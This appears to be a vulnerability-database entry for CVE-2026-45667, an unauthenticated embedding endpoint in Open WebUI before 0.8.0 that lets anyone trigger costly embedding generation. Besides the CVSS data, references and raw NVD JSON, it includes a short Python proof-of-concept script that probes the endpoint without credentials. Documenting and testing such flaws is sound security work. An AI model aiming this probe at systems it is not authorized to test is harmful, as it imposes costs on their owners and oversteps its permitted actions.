CVE-2026-45667

Description

Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.8.0, GET /api/v1/memories/ef is accessible without authentication and executes request.app.state.EMBEDDING_FUNCTION(...). This allows any unauthenticated caller to trigger embedding generation which can lead to direct cost exposure if a paid provider is used. This vulnerability is fixed in 0.8.0.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Open WebUI < 0.8.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

def check_poc(target_url):
    """
    PoC for CVE-2026-45667
    Checks if the embedding function endpoint is accessible without auth.
    """
    endpoint = f"{target_url}/api/v1/memories/ef"
    
    try:
        # Send a GET request without any authentication headers
        response = requests.get(endpoint, timeout=10)
        
        if response.status_code == 200:
            print("[+] Vulnerability confirmed: Endpoint accessible without authentication.")
            print(f"[+] Response: {response.text}")
        else:
            print(f"[-] Endpoint returned status code: {response.status_code}")
            
    except requests.exceptions.RequestException as e:
        print(f"[-] Connection error: {e}")

if __name__ == "__main__":
    target = "http://localhost:8080" # Replace with actual target
    check_poc(target)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-45667
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-45667
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-45667/
[4] VulDB https://vuldb.com/cve/CVE-2026-45667
[5] https://github.com/open-webui/open-webui/security/advisories/GHSA-m69w-p7m4-585j

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-45667", "sourceIdentifier": "[email protected]", "published": "2026-05-15T22:16:56.193", "lastModified": "2026-05-15T22:16:56.193", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.8.0, GET /api/v1/memories/ef is accessible without authentication and executes request.app.state.EMBEDDING_FUNCTION(...). This allows any unauthenticated caller to trigger embedding generation which can lead to direct cost exposure if a paid provider is used. This vulnerability is fixed in 0.8.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-m69w-p7m4-585j", "source": "[email protected]"}]}}